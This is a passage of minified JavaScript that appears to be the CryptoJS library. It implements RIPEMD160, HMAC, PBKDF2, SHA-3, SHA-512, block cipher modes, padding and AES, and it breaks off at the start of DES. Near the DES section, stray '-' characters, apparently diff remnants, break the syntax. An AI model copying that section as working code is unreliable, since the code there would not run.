14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 